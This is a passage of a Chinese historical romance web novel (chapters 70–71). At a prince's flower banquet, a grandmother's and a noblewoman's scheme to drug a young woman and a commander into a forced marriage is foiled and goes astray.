心下微微跳了跳,但她却还是瞥了他一眼,推开他下了竹床。 他果是什么都想要,这世上就没有他陆侯不想要的东西。 偏偏,他似乎总还能要到? 她就好奇,他陆惟石就从来没有苦苦求而不得过吗? 月光流转在浴房之中,她自眼角,偷偷瞧见他长叹着,双手把太阳穴揉了又揉。 她眨了眨眼。 * 又过了几日,到了兖王府在京外的花宴日子。 杜泠静一早就得了消息,道是保国夫人、万老夫人和杜润青也一道要前往,兖王府此番遍邀京中旧臣新贵,连蒋枫川也在应邀之列。 第70章 兜兜转转, 杜泠静还是戴上了那套红珊瑚的头面。 她一早被某人起身上朝的声音吵醒,没了睡意,干脆收拾梳妆准备去兖王府别院赴宴。 她可不是习惯于等旁人都到了, 才摆足架子姗姗来迟的人。这会梳好发髻,戴上头面, 换了一身桃色绣团花褙子, 并胭红褶裙。 胭脂红裙与珊瑚红簪遥相呼应,面上敷了淡淡一层薄粉,柔唇染脂,陆慎如本要踩着时辰去上朝, 但目光落在妆台旁的自己娘子身上,迈出房门的脚步又收了回来。 他抿唇只反复打量自己刚梳妆好的娘子, 秋霖等人见状相互对着眼神退了下去。 杜泠静正对镜给自己坠了一对珊瑚珍珠的耳环,左右瞧了对称,站起身来,谁料刚转过身, 就投进了某人的怀里。 杜泠静被他吓了一跳, “侯爷不是去上朝了吗?” 然而他道, “你这样,我怎么去上朝?” 杜泠静愣住, 见他半是含笑,又半是惆怅, 一边瞧她,又一边摇头。 她似刚从晨曦的微光中, 扑着翅膀飞出来的红色蝴蝶,就落在他的眉尖。 陆慎如叹气,“可惜今日朝会事多又繁, 我恐怕要晚些时候才能赶过去。” 不过是兖王和兖王妃的春花宴而已,闲情雅致的宴请与朝中大事关系不大,似魏琮尚在养病之列,便不准备去了,独年嘉前往。 而她这位侯爷更是诸事缠身,杜泠静本还以为他不去,只有她代他前往,亦与年嘉小聚。 但他说会赶过去,又说可惜。 杜泠静眨眼看他,见他一双眸中只映着她的影子。 有什么可惜?总不能是她打扮了,就只让他一个人看。 她侧身要从他怀中出来,他扣着她的腰不肯放,低声叮嘱她。 “少吃些酒。” 她酒量委实是好,可多吃上几杯,却也有酡红的酒晕浮现在脸颊上。 本就已不可方物,若再添些酒晕,他只怕有些失了神的,目光要缠在她发梢了。 他陆侯的夫人,是旁人能看的吗? 他只能跟她道,“等下朝我去接你,记得少吃酒。” 杜泠静:“……” 他说得好像她是什么酒鬼。 她连忙推了他快去上朝,本来就比百官都晚,再晚就连皇上也要等他。 杜泠静推走了某人,稍稍用了点饭,时候就不早了,年嘉派了人来催她。 “郡主启程了,夫人也快前往吧。” 杜泠静恰也收拾停当,崇平亲自护送,一路往京外的兖王别院而去。 不想杜泠静到了兖王的别院外,当先见到的不是年嘉,却是卫国公世子夫人、杨家大小姐杨金瑜。 兖王和王妃遍邀京中旧臣新贵,杨金瑜在应邀之列并不奇怪。 她亦看到了杜泠静的马车,神色冷淡,又见兖王府的管事当先去迎杜泠静这位陆侯夫人,面色更是阴沉,却也并不多言一句,暗暗吸气恢复了神色,与人说笑着进了别院之中。 自拂党与荣昌伯府杨家的事后,杨家那两位犯事的小爷是被重判还是被赦免,都与她无关,至于杨大小姐杨金瑜,她也只当从不曾相识便罢了,没什么交集才好。 她这边进了别院花园之中,年嘉就快步上前迎了她。 兖王的别院当真是云集京中贵胄,杜泠静只见别院里处处花团锦簇,但人比花还多,锦衣华服行走其间,只为花宴更添鲜艳。 杜泠静不禁道,“兖王府的别院真是阔大,不然这么多人如何招待得下?” 一旁引路的王府婢女道,“回夫人,这是王府在京郊最大的别院了,只是逢着春闱的年份,王爷与王妃请来的贵客实在是多,左右邻着的两家都开门借了园子给王府,不然也怕招待不周。” 年嘉说这种邻家借园的事,也是时有发生的,“谁人不喜欢为旁人锦上添花?” 兖王虽不掌朝堂大权,可辈分高,又得皇上敬重,在宗室里、在整个京城的高门中,颇有些名望。兖王府办花宴,谁人不给他捧场? 年嘉记得东侧是另一位宗亲家的别院,婢女连道正是,说东侧邻家,“借了后花园给王府。” 年嘉又问,“那西侧邻居是谁家?” 她想不起来,婢女却道。 “西侧是保国夫人新置办的别院。保国夫人借出了后园的小院,给王府的贵客们落脚休歇。” 竟是保国夫人,是魏家的别院。 年嘉没什么可问的了。婢女将二人引去兖王妃面前见礼。 兖王妃上次见了杜泠静,便对她颇为喜爱,此番也留她多说了会话,眼见来见礼的人越发多了,才让她四下里随意闲逛赏花。 杜泠静和年嘉在花园里走了没多远,便见着有人从另一路往这边走来。 不巧正是出借了院子落脚的保国夫人,她身侧跟了不少夫人,其中恰就有万老夫人,而万老夫人身后,正是杜润青。 年嘉准备换条路走,杜泠静都随了她,不过也回头看了秋霖一眼。 秋霖低声在她耳边。 “夫人放心,我让艾叶偷偷跟着二姑娘了。” 今次的兖王府花宴人这么多,就算要行再秘密的事情,也保不齐会出了岔子,被人发现。 在此间闹出事来丢了人,可就满京城都知道了。 杜泠静暗暗捏了手,与年嘉一道换了另一条路,这条路从一片紫竹林中穿过,从一处假山上的高台边花路小道路过。 她们刚走过去,便听到高台上有人作了首诗,兖王爷在旁抚掌道妙,一旁的人凑上前赏评起来,兖王更是夸赞不止。 年嘉抬头瞧了一眼,笑起来,“你瞧是谁人作诗?” 她叫了杜泠静,杜泠静不禁也抬头看过去,只一眼,恰与高台上作诗的人对上了目光。 他穿了件绛紫色束红玉锦带的长袍,此刻长身负手立在高台之上,杜泠静险些没认出来。 是六郎。 自三郎过世之后,他的衣裳清一色的全改成了三郎生前惯穿的颜色,甚至会在腰间束杜泠静从前给三郎打的绦子。 他今日这一身衣装,浓墨重彩如深秋山巅的红枫,褪去青竹的清俊,杜泠静真是差点没认出来。 不过六郎也确实与过去不同,从前他是举子,尚在三郎这解元之下,但如今他是贡士,下月便是金榜上的进士,已在三郎之上。 杜泠静见他也看到了自己,跟他轻轻点了点头,年嘉亦跟他打了个招呼,两人便顺着花路小道转去了另一边的桃林里。 但有人的目光却从高台里,一路分花拂柳地,缀在杜泠静发髻后长长的发带上。 高台上的风吹起蒋枫川的绛紫袍摆,有幕僚来请兖王往前厅见客。 兖王立时邀诸君同去,只是点到蒋枫川,蒋枫川却跟他笑着请罪。 “王爷别院的风光着实醉人,还请王爷许蒋某再留片刻,高台吹风,极目眺景,再追王爷脚步。” 他要多留一阵,兖王自都允了他,“前厅吵闹,秋屹在此偷闲也好,本王是不能了。” 他叫了蒋枫川的表字,说完又道,过一会忙完再让人来请他。 蒋枫川会试名次虽然不高,但兖王多爱重,旁人也都敬着他,一一与他告辞,不时高台里只余他一人在风中默然伫立。 从花路小道上远去的人,此刻刚刚踏入桃林之间。桃花渐谢,只余半树尚在枝头。 她正穿了见桃红色绣花褙子,人立花间,就这么轻轻走动着,便将残缺了半树的桃花齐齐补了上来。 青年的目光缀在了她的翻飞的裙摆与飘动的发带间。 从前在青州,他也曾与她,逢春日去过城外的桃林。 彼时三哥尚在,与她一道走在前面,山间留下清澈山泉溪水,三哥亲自舀了为她煮茶。 她喜好用泉水煮茶,三哥总是记在心上。但他记着的不仅这些,他会记得她与他出游时穿了什么衣裳,戴了什么首饰,发间又系了什么颜色的发带。 然后三哥回去家中,便在窗下落下这日的游记。他自不会细写她穿了什么系了什么,却会把她发带的颜色,编进游记的云、花和水里,编在三哥为数不多还能出游的风里。 他当时不懂,甚至最初都没有留意三哥会这样写文,直到他病在家中出不了门,总把从前的游记翻出来看,看了又看。 纸页都翻黄了,他才发现。 他问他,“哥写这些做什么?不知道的,还以为那日的景,真就是她发带的颜色?岂不失了真?” 他没什么避讳地直问,却见三哥微微红了脸色。 “你怎么会懂?” 说着又看了他,笑着温声。 “或许等以后,你也会有懂的一日。” 那时候他当然不懂,每逢出游,他只会记着哥今日身子如何,兴致又如何,妙笔写下怎样的文章。 如今…… 蒋枫川闭起眼睛摇了头。 但眼前只有她珊瑚红色的发带。 他忽的睁开了眼睛,他倏然觉得没有什么可摇头的。 他自嘲地笑了一声,看住桃林里的人,直到人消失在桃林另一边,他才缓步下了高台。 * 杜泠静与年嘉穿过桃林,就见了几位宗室的贵夫人。 杜泠静之前就见过,但不相熟,这次年嘉特特为她引荐,又在她耳边,“回去陆慎如若是问你都见了什么人,你也好张口就说给他,别让他以为咱们就是出来吃喝玩乐来了,可是做了正事的。” 她惯会一些糊弄学,杜泠静好笑得不行。虽然某位侯爷根本不会问这种问题,但杜泠静还是认真与人结识一番。 众人沿着河边,边走边闲聊,刚走了一小半路,杜泠静便听见附近有人道。 “听说魏指挥使也到了,同王爷一道从前厅往园子里来。” 杜泠静先打听得魏玦没来,还觉一个巴掌拍不响,不至于闹出什么难看事,不想这会耳边皆是魏玦来了的消息。 她道是有些累了,去换件衣裳,离了年嘉与众夫人。待与人分开,便立刻问了秋霖,魏玦是何情形。 秋霖恰打听到了,“原本只有保国夫人带着魏家二爷夫妻和姑娘过来,指挥使没来。但方才保国夫人似是专门让人连番去请指挥使,说是借了园子,也算是半个主家,让指挥使也来捧场,好歹吃杯酒。” 杜泠静捏了捏眉心,“二姑娘呢?” “二姑娘与几位相熟的姑娘一道在榴园亭中吃茶,并无甚事。” 杜泠静并未松口气,只道,“继续盯着她。” * 榴园。 杜润青今日穿的并不打眼,但这却是外祖母给她挑的衣裳,道是不打眼才好。 是人总是先敬衣裳后敬人,原本相熟的这几位姑娘,见她此番衣着平平,便对她有些爱答不理,反而说起陆侯夫人今日戴了一套珊瑚红的头面,非金非银,光彩照人,又问她,“怎么青娘没跟陆侯夫人一道赴宴过?” 杜润青不想回答这个问题,含混着,一众姑娘又不搭理她了,商议着过会弄点花酿来吃吃。 她被排在了一旁,恰见外祖母身边的管嬷嬷招了手,让她过去。 外祖母来前吩咐她,今日有大事要办,让她万万要乖顺听话。 她只得起身快步走去,管嬷嬷左右瞧着无人,立时就将一只手指大小的瓷瓶,塞到了她袖中。 “老夫人的话,让姑娘一会同人吃起酒来,将这瓷瓶里的药酒掺进杯中,一并吃了。” 她道,“这瓶中的药酒性烈,姑娘一定忍着吃下,但也不能让人瞧见。之后上了头脸,便同人道不胜酒力,往西边的院子里去换衣。” 管嬷嬷遥遥往最西边指去,“就是保国夫人借给王府的院子,那边人稀,姑娘一定往那处去,让瑞雪扶着姑娘,老奴会在那边接你的。” 她说完,又叫来杜润青的丫鬟嘱咐另一遍。 管嬷嬷说完不便久留,立时离去。树丛边的阴凉中,独留杜润青与瑞雪主仆二人。 杜润青握着袖中那不能被人知晓的瓷瓶,低着头不言语。 瑞雪却不住地咽了吐沫。 “姑娘,这恐怕不妥吧?” 连瑞雪都听出了门道来,这瓷瓶里哪是普通的药与酒,分明是…… 她倏地握住了杜润青的手,“姑娘您觉得呢?” 她觉得?杜润青心头一阵一阵地收疼。 外祖母也知道魏指挥使不同意婚事,眼下,是想趁着指挥使不备,让她先失身,再嫁人! 外祖母从前不是一直说姑娘家要紧守女德女训吗?这次怎么给了她一瓶药? 杜润青心里难受得厉害,瑞雪越是问她该如何,她越是心下憋痛得快要昏厥了。 她也不想这样。 但侯爷娶了姐姐,不可能再娶别人了,而她处处不及姐姐,也嫁不到什么良人。 她心下发颤,就在这时,有人忽然出现在了林边的路上。 榴园亭中的众姑娘,刚还羡慕着陆侯夫人今日的首饰头面,这会忽见陆侯夫人就出现在眼前,全吓了一跳,又都连忙起身跟她行礼。 杜泠静温和地同小姑娘们点了头,接着目光往亭外的杜润青看去。 “青妹过来,我跟你说几句话。” 她突然出现,又突然有话要说,杜润青浑身一僵,险些掉落了袖中的瓷瓶。 一众小姑娘见杜氏姐妹要说话,都知机地赶忙跟杜泠静行礼离去,几息的工夫,林边亭下只剩下姐妹二人与各自婢女。 杜润青不得不走上前去,“大姐姐有什么吩咐?” 杜泠静不跟她绕弯,直接道。 “有些事是一辈子的事,你得仔细想好了再行事。” 她这句一出,杜润青就惊诧抬头。 “大姐派人跟踪我?!” 杜泠静不置可否。 杜润青不禁攥了手,“若我本就想好了呢?我外祖母已替我铺好了路,我为什么不去走?!” 小姑娘脸色隐隐泛青,双唇抿着看过来,杜泠静皱了眉。 “你外祖母给你铺好的路,便是康庄大道吗?” 她不想与妹妹争执,只轻声点了她袖中藏着的药。 “若你依照你外祖母所言,靠此药,先失身再嫁人,就算嫁去,真能得敬重吗?” 她缓声替她设想,“或许最初还能平稳过上些日子,可但凡有个不当,这件事就会被翻出来。就算魏玦不言,但不意味着旁人不会翻你旧账,如果保国夫人翻你旧账呢?或者魏家其他人,甚至外人知道了呢?” 这种事,保国夫人也不想被人知道,所以恰好用借院子的名义,把事情控在自家的别院里。 杜泠静问杜润青,“可少有差池的苦果,你真担得起吗?” 若是出了差错人尽皆知,青州杜氏名声跌落,又或者魏玦勃然大怒,带累了二十年寒窗苦读才中第的沧大哥,不能入殿试之围,二妹担得起吗? 杜润青怔了一怔,她抬眼看向姐姐,有一瞬真的摇摆,可恍然看到姐姐发上的珍贵珊瑚头面,和她通身的华贵。 她忽得道,“大姐站着说话不觉腰疼,你什么都有,伯父疼你,三爷敬你,侯爷更是把你放在心尖上!你当然不用吞苦果就能坐享荣华富贵,但我不一样,我还要养我母亲!” 她这话竟然说得杜泠静也是一顿。 秋霖在旁却不可思议地看向二姑娘。 之前姑娘没了父亲与定婚夫婿,被二房当作孤女欺凌的时候,二姑娘可不是这态度! 但杜泠静没顺着她的话分说什么,只是道。 “那你也不必非要用这种方式。你走此路成全的到底是你和婶娘,还是你外祖母和你舅舅,你想过吗?” 她嗓音严厉了几分,二妹虽然不比京中高门贵女,但选一门门当户对的亲事,嫁到一个不愁吃穿、亦有前途的读书子弟家中,完全不成问题。 干干净净的姑娘,何须非走偏门? 可杜润青却根本听不进她的话了。 “你知道什么?大姐只会欺负我罢了!” 只会把侯爷从她姻缘里抢走! 杜润青忽得把心一横,她杜润青与杜泠静也没必要留着窗户纸了。 她干脆直言到了杜泠静脸上。 “你少管我的闲事!你还不如我外祖母!” 她说完忽的朝着杜泠静肩头撞去,撞开杜泠静就要往榴园外跑开。 杜泠静被她这突然一撞,身形踉跄,手急急压在身后大石上的同时,掌心被石头所割,倏然一痛。 但她不及理会掌心的痛,当即叫人,“把她拦住!” 她这话一出,杜润青更是急促要跑。 谁知两步迈出去,砰得撞到了一人身上。 青年身形坚冷如冰,他脚下未动分毫,杜润青却咣当向后跌倒在了地上。 她不禁抬头看去,这才看清身前男子。 他着一身绛紫色锦袍,腰间系了红玉锦带。他狭长的双眸微眯,眸色在她看去的一瞬,阴冷至极。 杜润青从未见过如此的阴冷眼神,心头惊恐一缩,更是向后跌去。 连袖中的药瓶咕噜滚落草丛里,她也没能察觉。 杜泠静亦看到了来人。 “六郎?”【你现在阅读的是 】 70-80 第71章 “六郎?” 杜泠静没想到蒋枫川会突然出现。但她此刻顾不得许多, 连忙让人把二妹拉了起来。 杜润青急欲跑开未能成,此刻被艾叶拉住,还要奋力甩开, 但不经意一转头,却看见负手立在旁边的男子, 目光先是路过姐姐似是滴了血的手, 接着再落到她脸上,阴冷比方才更胜一层。 她浑身不由自主地颤了一颤。 秋霖则趁机上前将她扣住。 小姑娘无路可走,来之前她外祖母还嘱咐她,今日万万要乖顺听话, 决不能弄乱了安排妥当的大事。 连舅舅早间的时候都专门拍了她的肩头,一改先前的阴郁面色, 道,“舅舅给你备了宴席,等从王府花宴回来,咱们自家也要吃一顿家宴……” 可她现在被大姐的人扣住, 事情不能成, 怎么跟外祖母交代?回去之后舅舅又是如何的眼色看她? “大姐就只会欺负我, 可曾想过半分我的处境?!” 她挣扎起来,“你快把我放开!你凭什么摁着我?我得去找我外祖母!” 见她还是要去找万老夫人, 杜泠静最后想要劝说的耐心也没有了。 掌心被割破的地方火辣辣地疼。 她长眉低压地看住二妹,“你今日不可能再找到你外祖母了。” 说完, 再不与她废话,径直叫了人。 “带她回澄清坊, 立时就带回去!” “凭什么?你凭什么软禁我?!” 杜润青简直要叫起来。但王府遍地都是宾客,艾叶眼疾手快地捂住了她的嘴巴。 杜泠静更是道。 “把她关在澄清坊里,无有我的命令, 她一步都不许踏出门去!” 话音落地,两人立时把杜润青带离开,只是杜泠静莫名愣了一愣。 怎么会有一日,她也沾染了某人的强势,把二妹也关在了宅院里? 这在从前,在青州,她难以想象自己会有如此的一日,可眼下…… 杜泠静也管不了了,但却有人两步上前,握了她的手腕。 受了伤的掌心发痛,他握住她的手腕,将她掌心翻了过来,血滴滴答答落在一旁的大石上。 “六郎,我没事。” 她要把手收回去,蒋枫川却没放手,问了她。 “夫人想带血回去赴宴吗?” “这……” 秋霖和艾叶都还没回来,杜泠静想着自己用帕子擦擦或能止血,但他却没放开她,自袖中抽出一方帕子,缠在她手上。 杜泠静莫名觉得他今日有些奇怪,皱眉看了看他。 蒋枫川当没瞧见她打量的目光,默声不言,待缠住她的伤口,才放开了她的手。 他放了她,见她略松了口气,这才不再皱眉打量,而是道。 “小妹的事,六郎就当没听见没看见可好。我改日专门谢你。” 杜泠静好不容易拦住二妹,可不想事情闹大。 只是她说去,听见身前的人问。 “夫人说的改日是哪日?” 他又问,笑着看了她一眼,“夫人能出得来侯府的门?” 他笑着看来时,似有些别样的内涵,就如他今日奇怪的神色一样,但出不了门的事,杜泠静不知要怎么讲。 恰此时附近有了人声渐近,杜泠静向后退开两步,与六郎拉开距离。 “总之小妹的事,莫要讲出去,就当是看在我的面子上。” 她说完,秋霖恰去而复返,她最后同他示意了请求的神色,转身离去。 蒋枫川目光落在她珊瑚红色的发带上,他捡起一片叶子,盖住她滴在石板小路上的血,目光落过方才杜润青被丫鬟押住,又反复挣扎的地方。 目露思量。 半晌,他才离去。 此间没了人,只剩一只黄雀扑棱着翅膀飞了过去。 但倏然有个身影从树丛便快步走出来,在草丛深处,捡走了自杜润青袖间滚落的药瓶,一转身没了影。 * 万老夫人找不到外孙女了。 “青娘到底去哪了?打听到没有?怎么连瑞雪也不见了?”她将满头花白的头发拢了又拢。 短短大半年的工夫,头发越发花白,连脸照在铜镜里,都能看出明显的老相。 昔日高门追捧的京门月老失了红线,再没有人找上门来了。 唯有这次,外孙女杜润青是她最后翻身的机会。而她家中那儿子,也急着等着外甥女嫁给那锦衣卫指挥使魏玦。 但人找不到,打听的人总算又去而复返,不巧保国夫人也来了。 丫鬟脸色难看,万老夫人催促,“快说。” 丫鬟低声,“似是陆侯夫人,把二姑娘送走了!” “送去何处?” “送去城里澄清坊杜家的宅子,已经离了去!” 已经走了。马车离开京郊别院回了城,想要去拦也来不及了。 万老夫人脸色瞬间青白起来,手下双全紧攥,指甲掐进掌心里,几乎要掐出血。 又是杜泠静,又是那她。一个先前根本没放在眼里的孤女,兜兜转转,死死压在了她头上。 万老夫人怒气翻涌着脚下都不稳起来,一旁的保国夫人则闭起了眼睛。 这硬生生将生米煮成熟饭的计策,她心里也打鼓得不行,到底不是光明正大的事。但八抬大轿,明媒娶妻,玦儿却不肯松口。 她实在走投无路了,今日来前,在去过世的丈夫牌位前上了三炷香,求他保佑。 不想事情还是未能成。 “这是天意吧……” 保国夫人神色彻底落了下来。 从与年嘉不相往来之后,儿子便绝口不提娶妻之事,彼时他年岁还不算长,如今却连陆惟石都娶了妻,他却始终不愿成家。 若是放不下年嘉,当初又何必与人家闹掰? 保国夫人不懂,她怎么都不懂。 但她思及儿子,却忽得想到了什么,她连忙反身将身边的丫鬟叫了来。 “我之前吩咐偷偷放到伯爷酒里的药,拿过去了吗?!” 一个巴掌拍不响,那药也是两瓶,杜润青和魏玦各服一瓶。 只是她这才刚想起来问去,就见刚才差遣的人去而复返,道是药已经下了,“王爷以为伯爷醉了酒,让人扶他往后院休歇去了。” 晚了! 那药劲力可不小,保国夫人两腿都颤了起来,再顾不得万老夫人和她外孙女,快步就往魏玦休歇处跑去。 她一边快步,一边想起那药的劲力,急急吩咐了人。 “去找三个府里未许人的丫鬟来,快去快去!” 他未曾娶妻也不曾纳妾,那药厉害,他自己如何熬得住?! 保国夫人急得满头是汗,一时后悔听了庙里和尚的计策,同万老夫人设了这局,杜家女无事,她儿子却陷落。 她满嘴发苦,谁料带着人一路小跑到了休歇的宅院,一间间房找过去,却一个人都没有。 “伯爷呢?!” 房中只有他浇了身的一盆冷水,滩了满地。 保国夫人这下真的颤了一双腿,那药这么厉害,儿子竟然还能强撑着离开?这又是去了何处? 她完全慌了。 “快、快去找!” * 杜泠静的伤势不重,还让人问了一句,“保国夫人和魏指挥使那边,可有什么状况?” 艾叶来回,说是保国夫人似是在找指挥使,“但不知为了何事?指挥使也不晓得去向了何处。” 杜泠静皱了皱眉,不管怎样,二妹被她送走关了起来,魏玦如何就与她无关了。 掌心的伤口一直发疼,这伤瞒不住人,不一会的工夫,兖王妃便带着一众夫人过来看了她。 “怎么割了手?可要请太医?!” 皮肉伤还不至于要请太医专程赶来,杜泠静连忙道谢,说自己是不小心滑了脚,匆促去扶假山石,才割了手。 兖王妃见白帕上还有血迹,叹了一声。 “陆侯不在,你便在我这处受了伤,是我招待不周了。” 她说这话,一旁就有夫人,见杜泠静神色尚好,笑了一声。 “可不是么?王妃要小心了,侯夫人回家不肯同侯爷说,但侯爷怎么会瞧不见?闹不明白缘由,便要去王府‘兴师问罪’去了。” 这话一出,满屋子的女眷都笑了起来,兖王妃年纪虽算不得大,但辈分高,听见这话亦笑,更道,“那能怎么办?少不得提前把赔礼准备好,盼着陆侯给王爷些面子,消消气。” 众人闻言皆笑得前仰后合。 唯独杜泠静一张脸热得不行。 都怪他。 怪他上次在靖安侯府的寿宴上,说什么,“内子性子内敛沉静,我总怕她在外面受了人欺负,回家也不肯告诉我。” “诸位夫人想来也都是爱惜小辈的人,内子性子如此,烦请各位日后替我瞧着些,没得她在外被人欺负了,也不跟我说,没得她半分错处也无,却无端被人指摘吃了亏……” 当时在座的夫人并不多,可这才多久的工夫,满京的高门女眷都听说了。 这会,一个个都盯着杜泠静笑。 京城还有谁人不知,权倾朝野的陆侯陆慎如,二十五才将他的陆侯夫人娶进门,再不许他娘子在外面受一丁点的委屈。 杜泠静的脸跟火烧了一样。 还是兖王妃见她实在羞赧,又言归正传。 “伤虽然不重,但少不了吃痛。” 她说自己有头风的毛病,“一犯病便让人倒一杯蜀地的酒来,那蜀地的酒颇有些镇痛的妙用,你不妨也吃一杯。” 她说酒劲不大,“但吃了就不觉痛了。” 兖王妃说着,让人去取她的酒,杜泠静要拦道不必,兖王妃去拦了她。 “你安心便是,我让人先给你温一温,吃了必是舒坦。” 杜泠静挨不过人家的好意。 兖王妃的婢女不时将镇痛酒取了来,因着王妃交代,为陆侯夫人先温一温,便把酒送去了茶房里。 花宴上的宾客多得数不清,茶房里人来人往,茶水源源不断地送出去,又添柴加火继续烧。 温酒的水还没烧出来,送酒的丫鬟候着,同人闲聊了两句。 她却没发现,有一双手从后面悄然伸了过来。 那手中捏着一只小巧的药瓶—— 不巧,正就是杜润青失落草丛深处的那只! 那手快极了,将药瓶里的药,倒头尽数倒进酒壶里,接着立时收回了手去。 端酒的丫鬟丝毫没有察觉有异,而茶房外面,做完密事的人,顺手将空瓶,扔进了一旁的湖里。 空瓶咕噜噜冒出数个气泡,很快沉入了湖底…… 镇痛的酒温好,王府丫鬟一路端着,快步进了杜泠静休歇的房中。 丫鬟为杜泠静倒了满满一杯递过来,秋霖接在手中。 “夫人喝一杯吗?”她轻声问去。 杜泠静伤处不算痛,也无意多吃酒。 尤其来之前,某位侯爷特特交代了她,“少吃些酒。” 那话他说了两遍,“等下朝我去接你,记得少吃酒。” 杜泠静不好拨了兖王妃面子,便说等会。 谁想话音未落,外面又现急促的脚步声,年嘉快步跑了进来。 “静娘怎么受伤了?还出了血?这我回头怎么跟陆侯交代?” 她这话一出口,满屋的女眷齐齐笑出了声来。 “哎呀呀,王妃刚发愁要怎么给陆侯赔礼,郡主也闹心要怎么跟陆侯交代了……” 杜泠静想把脸藏到墙缝里面,再没想到自己会有如此窘迫的一日。 偏偏她这沉静安宁的性子,就嫁了个那朝野上下最是无人敢惹、又最是张扬的男人。 年嘉过来细看了她的伤手,“也不清呢。” 她看向一旁秋霖端着的酒,“镇痛的?” 杜泠静道是,说自己还没喝,“方才刚吃了一盅茶,这会有些吃下酒了。” 不想年嘉却道,“你不吃算了,我吃。” 她说自己刚才听闻她受伤,急匆匆跑来。 “我本也吃了些酒在身,刚才又来得太急,竟撞到了门柱上,肩膀还疼着!” 众人听了都笑,王妃嗔她何不慢点,“摔了岂是小事?” 年嘉则取了那镇痛酒,一仰头吃了个满杯。 酒杯净光地被留在了小几上,众人在房中闲叙了几句,年嘉便倚在了杜泠静肩膀上。 “我是不是酒吃多了?怎么昏昏的?” 杜泠静摸了她的手心,是出了汗。 “许是吃多了。”但她这处还有不少夫人在闲聊,颇为吵杂。 她转头叫了艾叶,“你扶着郡主往后面歇脚的小院里,寻一处无人的,照看郡主睡一会。” 花宴还不到结束的时候,小睡一阵解解酒刚好。 年嘉也点了头,艾叶便扶着她往后面去了。 谁想两人越走,年嘉越不对劲,她脸色起了潮红,满身冒出了急汗,眼神也渐渐迷离起来。 艾叶大吃一惊,寻常吃酒是不至于有此状况。 她急起来,偏此间人少,一时寻不到人,却见绿树掩映间有一间小院,她扶着年嘉走过去,院中无人走动,她见四下里都没有仆从,料想此处无人,扶着年嘉进到房中。 眼见她几乎神志不清,急促将她放在房中的榻边,反身就跑出去找人—— 郡主好像中毒了! 她快步跑出门去,就有人扶着内室的门框走了出来。 魏玦通身湿透,有泼在身上镇定的冷水,也有药力激出来的急汗。 自己的母亲给他下药,他实在没能设防,但略一思量,也知道母亲想要做什么? 他到底是习武的人,强撑着压下那药的劲力,从母亲给他安置的院中离开,本想离开王府,不想才走出不远,药力就有些压制不下了。 这般丑态,他只能寻了无人的偏僻院落,取来冷茶饮下,再调息几番。 可却有人闯了进来。 魏玦自内侍的门匾看去,一眼看到了榻边的人。 热汗沾着她的头发贴在她潮红的脸上,她难受地翻动身子,几乎要从榻上掉下来。 魏玦双目惊颤,两步急上前去。 “年嘉……” * 艾叶在杜泠静耳边说完,杜泠静鼻尖就冒了汗。 中毒?哪来的毒?! 她忽的想到了什么问起艾叶和秋霖,“青娘手里那瓶药……” 秋霖一顿,“奴婢先前怕出事,翻了二姑娘衣袖,但是并找到,便想是不是掉了。” 无名的药,掉了也就掉了,还能满园去找? 不想眼下…… “被人捡走了。而且这壶酒,原是给我吃的。”杜泠静怔了怔。 秋霖倒吸一气。杜泠静却急促起了身,她说自己有些闷,往外走走,同人告辞,出了门便跟着艾叶直奔年嘉休歇的院中来。 然而刚走到那院前,同人险些撞在一处。 “保国夫人?” 保国夫人亦看到了她,“你缘何在此?” 杜泠静却在看到保国夫人的瞬间,眸色一颤,她低声。 “我来找年嘉,她中毒了。” 话音仿佛砸在了保国夫人脚上,她踉跄了一下,惊着往院中看去。 杜泠静一把将她扶住。 “不能让人知道!” 她说完立时让秋霖她们守住院子,保国夫人也回了神,立时将人全清了去。 只是等两人到了房门前,竟都没能抬起手来推开门去。 杜泠静只见保国夫人脸色变了不知几变,始终抬不起手来,她摒气上前,敲了门。 房中一时无人应答,这一次,姑母和侄媳不禁对了个难解的眼神。 是已经结束了吗? 若是如此,之后又当如何?事情怎么会变成这样?! 到了这等时候,保国夫人显然失了神,杜泠静干脆一把推开了门去。 门吱呀一声推开,两人进到门中,皆向床边看去。 第一眼,便隔着帐外薄纱,看到了半赤着上身的魏玦。 他只穿了条几近湿透的亵裤,上身半披着一件薄薄的中衣在肩头,赤条的臂膀上刀伤累累,不断有汗从他脖颈低落滑至起伏的前胸。 照理这般景象,杜泠静再不该看,可她看到魏玦半赤了身,心就跌了大半。保国夫人更是快站不住了。 但魏玦缓缓转头向两人看来,拨开了半边帐子。 帐中,年嘉倚在他怀里,却不似他半赤了身,她衣衫整齐,连发髻都没乱半分。 魏玦把她抱在怀里,让她倚在他胸前,她难受得闭着双眼,一直低声哼着。 他将手中的茶碗凑在她唇边。 “再喝点水,你得多喝点才行。” 冷水能将这药的劲力微微下压。 但年嘉闭了嘴巴一直摇头,她显然已神思不清,不知道眼前是谁,也不知道是谁人在给她喂水。 她不想喝了,闭着眼睛低头蹭在炽热的胸膛前。 但脸色潮红到泛了紫,红透的眼尾隐隐有泪光闪烁。 魏玦低头看着怀里的人,药的劲力亦令他难耐又恍惚,但他挽起她的碎发在耳后,劝她再喝一点,她就是不肯。 “元元……”他不禁叫了她。 这一声,直叫得怀中人怔了一怔,下一息,眼泪哗啦自眼角滑了下来。 她倚在他怀中低声啜泣。 魏玦吓了一跳,“怎么了?是不是太难受了?元元,你说话……” 但她迷糊着,支支吾吾半晌,忽的道了一句。 “你肯叫我乳名了……你是不是回来找我了?” 喑哑低啼的话音自帐中传出的一瞬间,整个房中都惊到无声无息。 杜泠静倏然鼻头一酸,顾不得保国夫人如何态度,只见魏玦一双眼睛瞬间血红遍布。 气血在翻涌,药力为这翻涌更添力道,但他咬紧牙关极力压着,将怀中的人往怀里紧了又紧。 他无声地低头,鼻尖曾在她发间。 “是,是我回来找你了……” 短短一句,他说得支离破碎,他极力咬着牙,又把冷水往她唇边送去。 “喝点水,听话,喝点水。” 年嘉低低啜泣着,却没有再推,迷糊着轻轻“嗯”了一声,饮下了他手中半杯水。 魏玦眸光颤动,下一息,他嘴角倏然有鲜血滴滴答答地落下。 “玦儿!”保国夫人惊呼。 杜泠静也惊到了,显然比起年嘉的状况,魏玦更加不妥。 他强行压着药力不得释放,此刻唇角落下的血越来越多。 但他无有理会,抬手擦掉了去。 保国夫人却急起来。 “你中了药,年嘉也中了药,这……这就是天意!你与年嘉不要忍了,会坏了身子的!” 她直接道,“娘去忠庆伯府求伯爷夫人和世子,娘去宫里求皇上,让他们把年嘉给咱们,玦儿你娶年嘉过门行不行?就算皇上有罚,我们认了便是!” 